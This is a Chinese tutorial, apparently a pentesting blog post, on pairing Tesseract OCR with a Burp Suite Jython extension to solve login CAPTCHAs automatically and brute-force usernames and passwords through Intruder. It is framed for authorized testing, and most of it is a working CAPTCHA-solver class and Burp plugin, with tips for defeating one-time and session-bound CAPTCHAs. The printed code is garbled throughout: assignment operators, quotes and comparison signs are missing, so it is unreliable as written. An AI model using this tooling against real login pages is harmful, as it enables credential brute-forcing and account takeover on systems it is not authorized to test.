基于Tesseract与BurpSuite插件实现验证码自动化识别与爆破

发布时间:2026/6/29 15:44:39
基于Tesseract与BurpSuite插件实现验证码自动化识别与爆破 1. 项目概述当渗透测试遇上验证码在渗透测试的日常工作中登录框的爆破Password Brute-force是一项基础但至关重要的任务。然而当登录框前端多了一个小小的验证码CAPTCHA时整个攻击流程的自动化程度就会大打折扣。传统的BurpSuite Intruder模块虽然功能强大但它本质上是一个“哑巴”发包器无法理解图片内容。面对验证码测试人员要么手动识别并输入要么寻找能绕过验证码逻辑的漏洞这无疑大大降低了测试效率尤其是在面对弱验证码防护的批量测试场景时。这个“本地OCR插件”的组合拳就是为了解决这个痛点而生的。它的核心思路非常清晰将验证码的识别过程自动化并集成到BurpSuite的爆破流程中形成一个闭环。我们不再依赖任何在线OCR API如百度、腾讯云而是利用开源的Tesseract OCR引擎在本地搭建识别环境再通过一个自定义的BurpSuite插件例如使用Jython或Java编写来调用这个本地引擎实时识别从服务器返回的验证码图片并将识别结果自动填充到下一次的请求中。这样做的好处显而易见完全离线、高度可控、响应迅速、成本为零特别适合在内部网络、授权测试等对数据出向有严格要求的场景中使用。接下来我将以一个典型的“用户名密码验证码”登录场景为例手把手带你搭建这套自动化工具链。无论你是安全测试的初学者还是想优化自己工作流的老手这套方案都能让你在面对带验证码的登录框时重新找回“爆破”的主动权。2. 核心思路与工具选型解析2.1 为什么是“本地OCR插件”在构思自动化方案时我们有几个备选路径寻找验证码逻辑漏洞、使用打码平台、调用在线OCR API、或者本地OCR。前两者依赖目标系统的缺陷或第三方服务不稳定且可能有额外成本。在线OCR API虽然方便但在渗透测试中将目标系统的验证码图片上传到外部服务器可能涉及敏感数据外泄不符合安全测试的合规性要求且受网络和调用次数限制。因此本地OCR方案成为了最稳妥、最专业的选择。Tesseract作为谷歌开源的老牌OCR引擎识别英文和数字的准确率在预处理得当的情况下相当可观且完全免费、可离线运行。而BurpSuite强大的可扩展性允许我们通过插件干预其HTTP请求/响应的处理流程这为两者的结合提供了完美的技术基础。这个组合的核心工作流可以概括为BurpSuite Intruder 发起第一次登录请求。服务器返回响应其中包含一个验证码图片通常是Base64编码或一个图片URL。自定义插件拦截到这个响应提取出验证码图片。插件调用本地的Tesseract OCR引擎对图片进行识别。插件将识别出的验证码文本存储到BurpSuite的会话Session或一个全局变量中。Intruder 准备发起下一次请求时插件将存储的验证码值自动替换到请求报文如captcha参数中。循环执行步骤2-6实现全自动爆破。2.2 核心工具栈详解1. Tesseract OCR这是我们的“识别大脑”。它不是一个即开即用的软件而是一个命令行引擎和开发库。我们需要安装它并为其配置语言数据包。对于大多数登录验证码4-6位数字字母混合使用默认的英文eng数据包即可。如果验证码包含中文则需要额外下载chi_sim简体中文数据包。它的准确性严重依赖于输入图片的质量因此图片预处理是使用Tesseract时不可或缺的一环。2. BurpSuite Extender API这是我们的“连接手臂”。BurpSuite提供了完善的Java API允许开发者编写插件来扩展其功能。我们需要编写的插件主要需要实现两个接口IHttpListener: 用于监听和修改HTTP请求和响应。我们将在这里处理服务器返回的验证码图片。IScannerCheck(可选更高级): 可以更深层次地集成到主动扫描模块但对于基础的Intruder爆破IHttpListener足够。 我们可以使用Java直接开发也可以使用JythonPython in Java来编写后者对于习惯Python的测试者来说更友好。本文将基于Jython进行演示因为它能快速调用Python强大的图像处理库。3. Python图像处理库Pillow, OpenCV这是我们的“预处理车间”。从HTTP响应中提取的验证码图片往往带有噪声、干扰线、背景色直接丢给Tesseract识别率会很低。我们需要用Python脚本先对图片进行灰度化、二值化、降噪、裁剪等处理提升图片质量从而显著提高OCR识别率。Pillow库简单易用足以应对大多数情况如果验证码非常复杂可以考虑使用OpenCV进行更高级的处理。4. Jython这是我们的“翻译官”。它让BurpSuite这个Java程序能够理解和执行我们写的Python脚本。我们需要在BurpSuite的Extender选项中配置好Jython的独立JAR文件路径。注意工具版本兼容性非常重要。建议选择BurpSuite社区版或专业版2023Tesseract v5.x以及与之匹配的Python库版本。版本不匹配可能导致奇怪的错误。3. 环境搭建与核心配置流程3.1 第一步安装与配置Tesseract OCRTesseract的安装因操作系统而异。Windows:前往 GitHub - tesseract-ocr/tesseract 下载最新的安装程序如tesseract-ocr-w64-setup-v5.3.1.20230401.exe。运行安装程序。关键步骤在“Choose Components”界面务必勾选“Additional language data”并至少选择“English”。同时记下安装路径默认是C:\Program Files\Tesseract-OCR。安装完成后将Tesseract的安装目录如C:\Program Files\Tesseract-OCR添加到系统的PATH环境变量中。这样可以在任何命令行窗口直接调用tesseract命令。验证安装打开命令提示符CMD输入tesseract --version如果显示版本信息则安装成功。macOS: 使用Homebrew安装是最简单的方式brew install tesseract。安装后通常已自动配置好环境变量。Linux (Ubuntu/Debian):sudo apt update sudo apt install tesseract-ocr libtesseract-dev安装语言包如果需要识别中文Windows安装程序可能已包含如果没有需单独下载.traineddata文件放入Tesseract安装目录的tessdata文件夹中。Linux/macOS可使用sudo apt install tesseract-ocr-chi-sim或brew install tesseract-lang来安装。3.2 第二步配置BurpSuite的Jython环境下载Jython独立JAR文件。建议从官网下载最新稳定版如jython-standalone-2.7.3.jar。打开BurpSuite进入Extender-Options选项卡。在Python Environment区域点击Select file...选择你下载的Jython独立JAR文件。点击NextBurpSuite会加载Jython环境加载成功后界面会提示。实操心得有时加载Jython会失败提示找不到site模块。这通常是因为Jython版本与BurpSuite或系统环境有冲突。一个可靠的解决方案是使用一个更旧但更稳定的版本例如jython-standalone-2.7.2.jar。多备几个版本尝试是解决此类问题的好习惯。3.3 第三步编写Python图像处理与OCR调用脚本在编写BurpSuite插件之前我们先创建一个独立的Python脚本captcha_processor.py用于测试和封装图像处理、OCR识别的核心功能。这有助于我们单独调试OCR环节。# captcha_processor.py import sys import subprocess import tempfile import os import base64 from io import BytesIO from PIL import Image, ImageFilter, ImageEnhance class CaptchaSolver: def __init__(self, tesseract_cmdtesseract, langeng): 初始化OCR solver :param tesseract_cmd: 系统路径中的tesseract命令如果已加入PATH则直接用tesseract :param lang: 识别语言如eng英文chi_sim简体中文 self.tesseract_cmd tesseract_cmd self.lang lang def preprocess_image(self, image_data): 预处理验证码图片提高识别率 :param image_data: 图片的二进制数据 :return: 预处理后的PIL Image对象 # 从二进制数据打开图片 img Image.open(BytesIO(image_data)) # 1. 转换为灰度图 img img.convert(L) # 2. 提高对比度 (根据实际情况调整因子1.0为原图2.0为加倍对比度) enhancer ImageEnhance.Contrast(img) img enhancer.enhance(2.0) # 3. 二值化 (阈值可根据验证码颜色调整这里用自动阈值) # 先尝试自动阈值如果效果不好可以手动指定例如img img.point(lambda x: 0 if x 180 else 255, 1) threshold 150 img img.point(lambda x: 255 if x threshold else 0) # 4. 降噪 - 使用中值滤波器去除椒盐噪声 img img.filter(ImageFilter.MedianFilter(size3)) # 5. 裁剪掉可能存在的多余白边 (可选) # bbox img.getbbox() # if bbox: # img img.crop(bbox) return img def solve_from_bytes(self, image_bytes): 核心识别函数输入图片二进制输出识别文本 :param image_bytes: 验证码图片的二进制数据 :return: 识别出的字符串 (已去除空白字符) # 预处理图片 processed_img self.preprocess_image(image_bytes) # 创建一个临时文件来保存处理后的图片 with tempfile.NamedTemporaryFile(suffix.png, deleteFalse) as temp_img_file: temp_img_path temp_img_file.name processed_img.save(temp_img_path, PNG) # 创建临时文件用于保存Tesseract的输出文本 with tempfile.NamedTemporaryFile(suffix.txt, deleteFalse, modew) as temp_txt_file: temp_txt_path temp_txt_file.name try: # 构建并执行Tesseract命令 # 命令格式: tesseract [输入图片路径] [输出文本文件路径无后缀] -l [语言] --psm [页面分割模式] # --psm 7 表示将图像视为单行文本适合大多数验证码 cmd [ self.tesseract_cmd, temp_img_path, temp_txt_path.rstrip(.txt), # Tesseract会自动加后缀所以这里去掉.txt -l, self.lang, --psm, 7, -c, tessedit_char_whitelistABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 # 可设置字符白名单提高准确率 ] # 执行命令捕获错误输出 result subprocess.run(cmd, capture_outputTrue, textTrue, timeout5) if result.returncode ! 0: print(fTesseract错误: {result.stderr}, filesys.stderr) return ERROR # 读取识别结果 output_file_path temp_txt_path.rstrip(.txt) .txt with open(output_file_path, r, encodingutf-8) as f: text f.read().strip() return text except subprocess.TimeoutExpired: print(Tesseract识别超时, filesys.stderr) return TIMEOUT except Exception as e: print(f识别过程异常: {e}, filesys.stderr) return ERROR finally: # 清理临时文件 try: os.unlink(temp_img_path) os.unlink(temp_txt_path.rstrip(.txt) .txt) os.unlink(temp_txt_path) except: pass # 测试函数 if __name__ __main__: solver CaptchaSolver() # 这里可以放一个本地验证码图片路径进行测试 # with open(test_captcha.png, rb) as f: # data f.read() # result solver.solve_from_bytes(data) # print(f识别结果: {result})这个脚本定义了一个CaptchaSolver类它封装了预处理和调用Tesseract的完整流程。预处理步骤灰度化、对比度增强、二值化、降噪是提升识别率的关键你需要根据目标验证码的具体特点如颜色、噪声类型调整这些参数。4. 开发BurpSuite插件实现自动化集成有了OCR核心能力下一步就是将其嵌入BurpSuite。我们将使用Jython编写一个插件。在BurpSuite的Extender-Extensions选项卡中点击Add选择Extension type为Python然后将以下代码粘贴进去。# burp_captcha_breaker.py - BurpSuite Jython Plugin from burp import IBurpExtender, IHttpListener from java.io import PrintWriter from java.net import URL import re import base64 from captcha_processor import CaptchaSolver # 导入我们刚才写的OCR模块 class BurpExtender(IBurpExtender, IHttpListener): def registerExtenderCallbacks(self, callbacks): # 保存回调对象用于与Burp交互 self._callbacks callbacks self._helpers callbacks.getHelpers() callbacks.setExtensionName(Captcha Breaker) # 获取标准输出和错误输出用于调试 self.stdout PrintWriter(callbacks.getStdout(), True) self.stderr PrintWriter(callbacks.getStderr(), True) # 注册HTTP监听器 callbacks.registerHttpListener(self) # 初始化OCR求解器 # 注意这里假设tesseract已在系统PATH中。如果不在需要指定完整路径如 rC:\Program Files\Tesseract-OCR\tesseract.exe self.solver CaptchaSolver(tesseract_cmdtesseract, langeng) # 存储上一次识别到的验证码文本用于下一个请求 self.last_captcha_text # 存储验证码对应的会话标识如Cookie中的JSESSIONID实现会话关联 self.session_captcha_map {} self.stdout.println([] Captcha Breaker 插件加载成功) self.stdout.println([] Tesseract 命令: tesseract) def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): 核心方法处理每一个经过Burp的HTTP消息。 :param toolFlag: 来自哪个工具 (如IBurpExtenderCallbacks.TOOL_PROXY, TOOL_INTRUDER) :param messageIsRequest: 是否是请求消息 (True请求, False响应) :param messageInfo: 包含请求/响应详情的IHttpRequestResponse对象 # 我们只关心从Intruder或Repeater发出的请求以及从服务器返回的响应 # 这里以Intruder为例 (toolFlag 4) if toolFlag ! self._callbacks.TOOL_INTRUDER: return if not messageIsRequest: # 这是服务器返回的响应 - 尝试从中提取并识别验证码 self._processResponse(messageInfo) else: # 这是即将发送的请求 - 尝试将识别到的验证码填入 self._processRequest(messageInfo) def _processResponse(self, messageInfo): 处理响应提取验证码图片并进行识别 response messageInfo.getResponse() if response is None: return analyzedResponse self._helpers.analyzeResponse(response) headers analyzedResponse.getHeaders() body response[analyzedResponse.getBodyOffset():] # 查找验证码图片。常见形式 # 1. 直接是图片响应 (Content-Type: image/png) # 2. JSON/HTML响应中包含Base64编码的图片数据 # 3. JSON/HTML响应中包含一个图片URL路径 content_type for header in headers: if header.lower().startswith(content-type:): content_type header.split(:)[1].strip().lower() break captcha_image_data None # 情况1: 响应本身就是一张图片 if image/png in content_type or image/jpeg in content_type or image/gif in content_type: captcha_image_data bytes(body) self.stdout.println([] 检测到图片响应直接进行OCR识别。) # 情况2: 响应是文本如JSON/HTML内含Base64图片 if captcha_image_data is None: body_str self._helpers.bytesToString(body) # 尝试匹配Base64图片数据 (常见于前端将图片编码后放入JSON) # 正则匹配 data:image/png;base64,xxxxxxxx import base64 import re pattern rdata:image/[^;];base64,([A-Za-z0-9/]) match re.search(pattern, body_str) if match: try: captcha_image_data base64.b64decode(match.group(1)) self.stdout.println([] 从Base64数据中提取验证码图片。) except: self.stderr.println([-] Base64解码失败。) # 情况3: 响应是文本内含图片URL路径 if captcha_image_data is None: # 这里简化处理实际可能需要结合Host头拼接完整URL并发起二次请求获取图片 # 本例假设验证码在同一个响应体中以Base64或直接图片形式存在。 pass if captcha_image_data: # 调用OCR求解器进行识别 try: captcha_text self.solver.solve_from_bytes(captcha_image_data) self.stdout.println([] OCR识别结果: captcha_text) # 简单的去噪如果识别结果包含非预期字符或过长过短可能识别失败 if captcha_text and captcha_text not in [ERROR, TIMEOUT] and 3 len(captcha_text) 8: self.last_captcha_text captcha_text # 可选提取当前响应的会话ID用于关联 # session_id self._extractSessionId(messageInfo) # if session_id: # self.session_captcha_map[session_id] captcha_text else: self.stderr.println([-] 识别结果无效: captcha_text) self.last_captcha_text except Exception as e: self.stderr.println([-] OCR识别过程异常: str(e)) import traceback traceback.print_exc(fileself.stderr) def _processRequest(self, messageInfo): 处理请求将识别到的验证码填入指定参数 if not self.last_captcha_text: # 没有可用的验证码跳过 return request messageInfo.getRequest() if request is None: return analyzedRequest self._helpers.analyzeRequest(messageInfo) # 获取请求体POST参数或URL参数GET # 这里假设验证码参数名为 captcha 或 verifyCode你需要根据目标修改 parameter_names_to_check [captcha, verifyCode, vcode, authcode] body request[analyzedRequest.getBodyOffset():] body_str self._helpers.bytesToString(body) # 这是一个非常简单的替换逻辑。实际应用中参数可能在URL中也可能是JSON格式。 # 这里以常见的 application/x-www-form-urlencoded 格式为例 import urllib params self._helpers.analyzeRequest(messageInfo).getParameters() for param in params: if param.getName().lower() in [name.lower() for name in parameter_names_to_check]: # 找到了验证码参数准备替换它的值 old_value param.getValue() # 构建新的请求 new_param self._helpers.buildParameter(param.getName(), self.last_captcha_text, param.getType()) new_request self._helpers.updateParameter(request, new_param) messageInfo.setRequest(new_request) self.stdout.println([*] 已将请求中的参数 {} 从 {} 替换为 {}.format(param.getName(), old_value, self.last_captcha_text)) # 替换成功后清空上一次的验证码防止误用取决于业务逻辑有时一个验证码可用多次 # self.last_captcha_text break # 只替换第一个找到的匹配参数 # 辅助函数从请求/响应中提取会话ID (例如Cookie中的JSESSIONID) def _extractSessionId(self, messageInfo): # 这里需要根据目标网站的会话管理方式实现 # 例如从Cookie头中提取 return None插件工作原理详解registerExtenderCallbacks: 插件入口初始化OCR求解器并注册自己为HTTP监听器。processHttpMessage: 核心调度器。判断消息是请求还是响应来自哪个工具这里我们只处理Intruder的流量。_processResponse: 当收到服务器响应时此函数被调用。它尝试从响应体中提取验证码图片支持直接图片、Base64编码然后调用我们之前写好的CaptchaSolver进行识别并将结果存储在self.last_captcha_text中。_processRequest: 当Intruder准备发送下一个爆破请求时此函数被调用。它遍历请求参数寻找名为captcha、verifyCode等的参数并用self.last_captcha_text中存储的识别结果替换其旧值从而实现验证码的自动填充。关键注意事项这个插件示例是一个基础框架。实际网站的验证码获取和提交方式千差万别。你可能需要修改_processResponse中的图片提取逻辑例如验证码可能是一个独立的GET请求返回的以及_processRequest中的参数查找和替换逻辑例如参数可能在JSON请求体中。调试时务必多使用self.stdout.println()打印日志观察插件的每一步行为。5. 实战演练配置与使用全流程现在我们将所有部分串联起来完成一次完整的带验证码登录爆破。5.1 环境与目标确认假设我们有一个测试目标http://test.local/login.php其登录接口为POST到/login.php需要提交username、password、captcha三个参数。验证码图片由/captcha.php生成每次访问返回一个新的PNG图片。步骤1手动分析请求流用浏览器或BurpSuite代理访问http://test.local/login.php获取登录页面。查看页面源码找到验证码图片的地址通常是img src/captcha.php?t123456789。清空BurpSuite代理历史在登录页面输入任意信息点击登录捕获整个交互过程。你会发现大致流程GET /login.php(获取页面和初始Cookie)GET /captcha.php(获取验证码图片可能依赖Cookie中的Session ID)POST /login.php(提交用户名、密码、验证码)5.2 配置BurpSuite插件与测试放置Python脚本将之前写好的captcha_processor.py脚本放在一个你知道的目录例如D:\pentest\scripts\。修改插件代码在burp_captcha_breaker.py插件代码的开头需要确保它能找到captcha_processor模块。由于Jython的模块加载路径问题最稳妥的方式是将captcha_processor.py放在与插件脚本同一个目录或者将其路径添加到sys.path中。我们在插件registerExtenderCallbacks函数开头添加import sys sys.path.append(D:\\pentest\\scripts\\) # 替换为你的实际路径 from captcha_processor import CaptchaSolver加载插件在BurpSuite的Extender-Extensions中点击Add选择Python类型将修改好的burp_captcha_breaker.py内容粘贴进去或选择文件路径。点击Next如果没有报错输出窗口会显示[] Captcha Breaker 插件加载成功。测试OCR功能首先单独测试OCR脚本是否能正确识别目标验证码。手动访问/captcha.php将图片保存到本地用我们写的测试代码captcha_processor.py中的if __name__ __main__:部分跑一下看识别率如何。如果识别率低返回去调整预处理参数如二值化阈值threshold、对比度增强因子、是否启用字符白名单等。5.3 使用Intruder进行自动化爆破捕获登录请求在浏览器中完成一次完整的登录失败操作输入错误的密码用BurpSuite捕获这个POST请求。发送到Intruder右键点击该请求选择Send to Intruder。设置攻击类型和位置在Intruder的Positions选项卡清空所有自动标记手动将username、password、captcha三个参数的值标记为攻击载荷位置§§。攻击类型Attack type选择Pitchfork叉子。因为我们需要三组载荷用户名字典、密码字典、验证码一一对应地组合发送但验证码将由我们的插件动态提供所以实际上我们只为用户名和密码准备静态字典验证码位置留空或放任意值由插件实时替换。配置载荷PayloadsPayload set 1: 对应username参数。选择Simple list加载你的用户名字典。Payload set 2: 对应password参数。选择Simple list加载你的密码字典。Payload set 3: 对应captcha参数。这里选择Null payloads并设置生成次数为你的用户名和密码组合的总数。这意味着这个位置会生成空值等待插件填充。启动攻击点击Start attack。此时Intruder会开始循环发送请求。观察插件工作在Extender的Output或Errors标签页观察你的插件打印的日志。你应该能看到类似以下的输出[] 检测到图片响应直接进行OCR识别。 [] OCR识别结果: 5GgH [*] 已将请求中的参数 captcha 从 替换为 5GgH这表示插件成功地从/captcha.php的响应中识别出了验证码“5GgH”并将其填充到了下一个登录请求中。分析结果在Intruder的攻击结果窗口根据响应长度、状态码、或通过Grep - Match设置的关键词如“登录成功”、“密码错误”来筛选出成功的请求组合。5.4 高级技巧与参数调优会话Session处理很多网站的验证码与服务器端Session绑定。我们的示例插件使用了简单的last_captcha_text这在单线程Intruder默认且验证码立即使用时是有效的。但如果验证码有效期短或者需要处理多个并发的Session例如使用Turbo Intruder就需要实现session_captcha_map逻辑将验证码文本与从Cookie或响应中提取的Session ID关联起来。验证码获取逻辑示例插件从当前响应中提取图片。如果验证码是另一个独立的URL如/captcha.php你需要在_processResponse中检测到登录页面响应后主动发起一个GET请求去获取验证码图片。这需要用到IBurpExtenderCallbacks.makeHttpRequest()方法。识别率优化这是本地OCR方案的核心。除了调整预处理参数还可以训练Tesseract如果目标验证码字体固定但特殊可以收集一批样本使用Tesseract的训练工具生成专属的字库文件.traineddata能极大提升识别率。多引擎投票可以集成另一个轻量级OCR引擎如PaddleOCR对同一张图片进行识别然后取两个结果中更可信的一个。人工干预兜底在插件中设置一个置信度阈值如果Tesseract返回的文本置信度太低或者包含非法字符可以触发一个弹窗让测试人员手动输入并将正确结果加入一个临时缓存库供后续相似的验证码使用。错误处理与重试网络波动、OCR识别失败是常事。插件应加入重试机制。例如如果一次请求因验证码错误被服务器拒绝插件应能捕获这个信号如响应中包含“验证码错误”然后自动丢弃当前验证码并触发重新获取和识别验证码的流程再重发上一次的登录请求。6. 常见问题排查与实战心得在实际操作中你肯定会遇到各种各样的问题。下面是我踩过的一些坑和解决方案。问题1插件加载失败提示“No module named captcha_processor”原因Jython找不到你的Python模块。解决确保captcha_processor.py文件存在且无语法错误。在插件代码中明确添加模块搜索路径sys.path.append(‘你的脚本绝对路径’)。最简单的方法使用BurpSuite的Python Scripter扩展BApp Store里有它提供了一个集成的Python编辑器可以直接在里面写所有代码无需处理模块导入问题。问题2Tesseract识别结果全是乱码或空字符串原因A图片预处理不当。验证码背景复杂噪声多直接识别困难。解决A加强预处理。尝试不同的二值化阈值使用ImageFilter尝试MinFilter,MaxFilter或者用OpenCV进行形态学操作如开运算、闭运算去除干扰线。原因BTesseract语言包不对或损坏。解决B在命令行手动测试tesseract your_captcha.png stdout -l eng。如果失败重新安装Tesseract和语言包。原因C验证码字体过于扭曲或艺术化超出了Tesseract的能力范围。解决C考虑使用深度学习方案如CNN训练一个专门的识别模型或者回归到半自动化让插件将验证码图片显示在BurpSuite的UI中手动输入。问题3插件能识别验证码但爆破总是失败服务器一直返回“验证码错误”原因A验证码一次一用One-Time。我们的插件用上一次响应中的验证码填到了下一个请求里而服务器已经更新了验证码。解决A调整流程。确保“获取验证码”的请求和“使用该验证码登录”的请求在同一个Burp工具如Intruder的一次循环内完成且中间没有其他请求干扰。使用Pitchfork攻击模式并确保验证码获取请求是爆破队列的一部分可能需要将GET captcha和POST login两个请求做成一个“宏”或者使用Sniper模式并自定义Payload Processor。原因B验证码与Session或Token强绑定而我们的请求没有携带正确的Session Cookie。解决B在Intruder的Resource pool中设置“Maximum concurrent requests”为1确保请求顺序执行。或者在插件中实现完整的Session追踪为每个独立的Session维持一个验证码缓存。问题4Intruder攻击速度很慢原因每个请求都需要先获取验证码图片然后进行OCR识别这是CPU密集型操作尤其是图片预处理。解决优化预处理移除不必要的处理步骤。使用更快的OCR引擎Tesseract 4.x 的LSTM引擎已经很快可以尝试。对于纯数字验证码可以尝试更轻量的库。接受较低的速度带验证码的爆破本身就不可能像普通字典攻击那样快。稳定、准确地识别比速度更重要。个人实战心得先手动后自动在编写自动化插件前一定要先手动完成几次完整的登录流程用BurpSuite的Repeater工具反复测试验证码的获取、识别、提交过程。理解清楚整个交互逻辑是成功的前提。日志是你的眼睛在插件中大量使用self.stdout.println()打印关键步骤的信息比如“正在提取图片”、“识别结果为XXX”、“替换参数YYY”。这能让你清晰地知道插件运行到哪一步出了什么问题。从简单目标开始练手找一个自己搭建的、带有简单验证码的测试靶场例如DVWA、bWAPP来实践。不要一开始就挑战生产环境中复杂的滑动验证码或点选验证码。本地OCR方案的局限性要清醒认识到这套方案主要针对传统的字符型验证码。对于行为验证码如极验、腾讯云验证、逻辑非常复杂的扭曲字符验证码本地OCR可能力不从心。此时需要更高级的图像识别技术或者考虑从其他角度如逻辑漏洞寻找突破口。这套“本地OCRBurpSuite插件”的组合拳将原本需要手动干预的验证码识别环节自动化虽然需要一定的前期配置和调试成本但一旦搭建成功就能在授权测试中为你节省大量的时间和精力。它体现了一名渗透测试工程师在面对障碍时的工程化思维不回避问题而是通过工具链的整合与创新将重复性劳动自动化从而将宝贵的精力聚焦在更核心的逻辑漏洞挖掘上。